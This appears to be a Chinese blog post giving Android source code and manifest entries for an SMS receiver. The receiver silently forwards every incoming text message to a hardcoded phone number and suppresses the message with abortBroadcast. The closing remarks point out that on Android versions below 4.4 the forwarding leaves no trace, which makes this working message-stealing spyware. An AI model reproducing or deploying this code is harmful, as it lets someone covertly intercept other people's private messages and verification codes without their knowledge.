android工程
SMSReceiver.Java
<strong><span style="font-size:18px;">package com.example.systembroadcastreceiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
//短信息接收器
public class SMSReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
Bundle bundle=intent.getExtras();
Object[] objs=(Object[])bundle.get("pdus");//pdu是单元数据传输协议,s是复数
//获得短信息管理器实例
SmsManager manager=SmsManager.getDefault();
//遍历短信息内容
for(int i=0;i<objs.length;i++){
//通过SMSMessage的静态方法createFromPdu对每条信息进行格式转换
SmsMessage message=SmsMessage.createFromPdu((byte[])objs[i]);
//获取号码
String address=message.getOriginatingAddress();
//获取内容
String body=message.getDisplayMessageBody();
Log.v("TAG", address+"发来信息:"+body);
//通过短信息管理器发送短消息
manager.sendTextMessage("139745*****", null, body, null, null);
}
abortBroadcast();
}</span>
<span style="font-size:18px;">}
</span></strong>
注册以及获取权限
<strong><span style="font-size:18px;"> <!-- 接收短息到达的广播接收器 -->
<receiver android:name=".SMSReceiver">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
<!-- 如果要接收短信到达广播,那么必须拥有RECEIVE_SMS权限 -->
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<!-- 如果要发送短信息,那么必须拥有SEND_SMS -->
<uses-permission android:name="android.permission.SEND_SMS"/></span></strong>
收到短信的时候会被转发到139745*****,如果是4.4版本以下,是不会留下痕迹的(如果不装安全软件),在4.4版本以后谷歌进行了完善,在转发的时候会留下痕迹
突然意识到一个严重的问题:千万不要得罪程序员